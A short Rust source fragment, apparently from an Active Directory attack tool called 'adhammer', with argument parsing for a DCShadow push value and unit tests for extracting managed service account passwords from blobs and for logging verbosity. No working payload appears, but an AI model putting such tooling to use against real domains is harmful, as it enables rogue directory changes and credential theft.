fn parse_push_value(a: &DcshadowArgs) -> Result<Vec<u8>> {
match (a.value.as_deref(), a.value_hex.as_deref()) {
(Some(_), Some(_)) => {
anyhow::bail!("pass either --value or --value-hex, not both")
}
(Some(v), None) => Ok(v.as_bytes().to_vec()),
(None, Some(h)) => {
hex::decode(h.trim()).map_err(|e| anyhow::anyhow!("--value-hex parse: {e}"))
}
(None, None) => anyhow::bail!("--push requires --value <text> or --value-hex <bytes>"),
}
}
#[cfg(test)]
mod managed_pw_blob_tests {
use super::parse_managed_password_blob;
#[test]
fn managed_password_blob_extracts_current() {
let mut b = vec![1, 0, 0, 0]; b.extend_from_slice(&0u32.to_le_bytes()); b.extend_from_slice(&16u16.to_le_bytes()); b.extend_from_slice(&0u16.to_le_bytes()); b.extend_from_slice(&0u16.to_le_bytes()); b.extend_from_slice(&0u16.to_le_bytes()); b.extend_from_slice(&[0xAB; 256]); let pw = parse_managed_password_blob(&b).unwrap();
assert_eq!(pw.len(), 256);
assert!(pw.iter().all(|&x| x == 0xAB));
}
}
#[cfg(test)]
mod ws_int_vvv_tests {
use super::{build_tracing_filter, effective_interactive_verbosity};
#[test]
fn interactive_no_subcommand_forces_trace() {
assert_eq!(effective_interactive_verbosity(true, false, 0), 3);
}
#[test]
fn quiet_interactive_opts_out() {
assert_eq!(effective_interactive_verbosity(true, true, 0), 0);
}
#[test]
fn subcommand_path_unaffected() {
assert_eq!(effective_interactive_verbosity(false, false, 0), 0);
assert_eq!(effective_interactive_verbosity(false, false, 1), 1);
assert_eq!(effective_interactive_verbosity(false, true, 2), 2);
}
#[test]
fn user_verbosity_wins_when_higher_than_forced() {
assert_eq!(effective_interactive_verbosity(true, false, 3), 3);
assert_eq!(effective_interactive_verbosity(true, false, 5), 5);
}
#[test]
fn interactive_forced_filter_reaches_trace_level_for_adhammer() {
let f = build_tracing_filter(3, false);
let repr = format!("{f}");
assert!(
repr.contains("adhammer=trace"),
"expected `adhammer=trace` in filter, got: {repr}"
);
assert!(
repr.contains("ldap3=warn"),
"expected `ldap3=warn` (credential-payload pin), got: {repr}"
);
}
}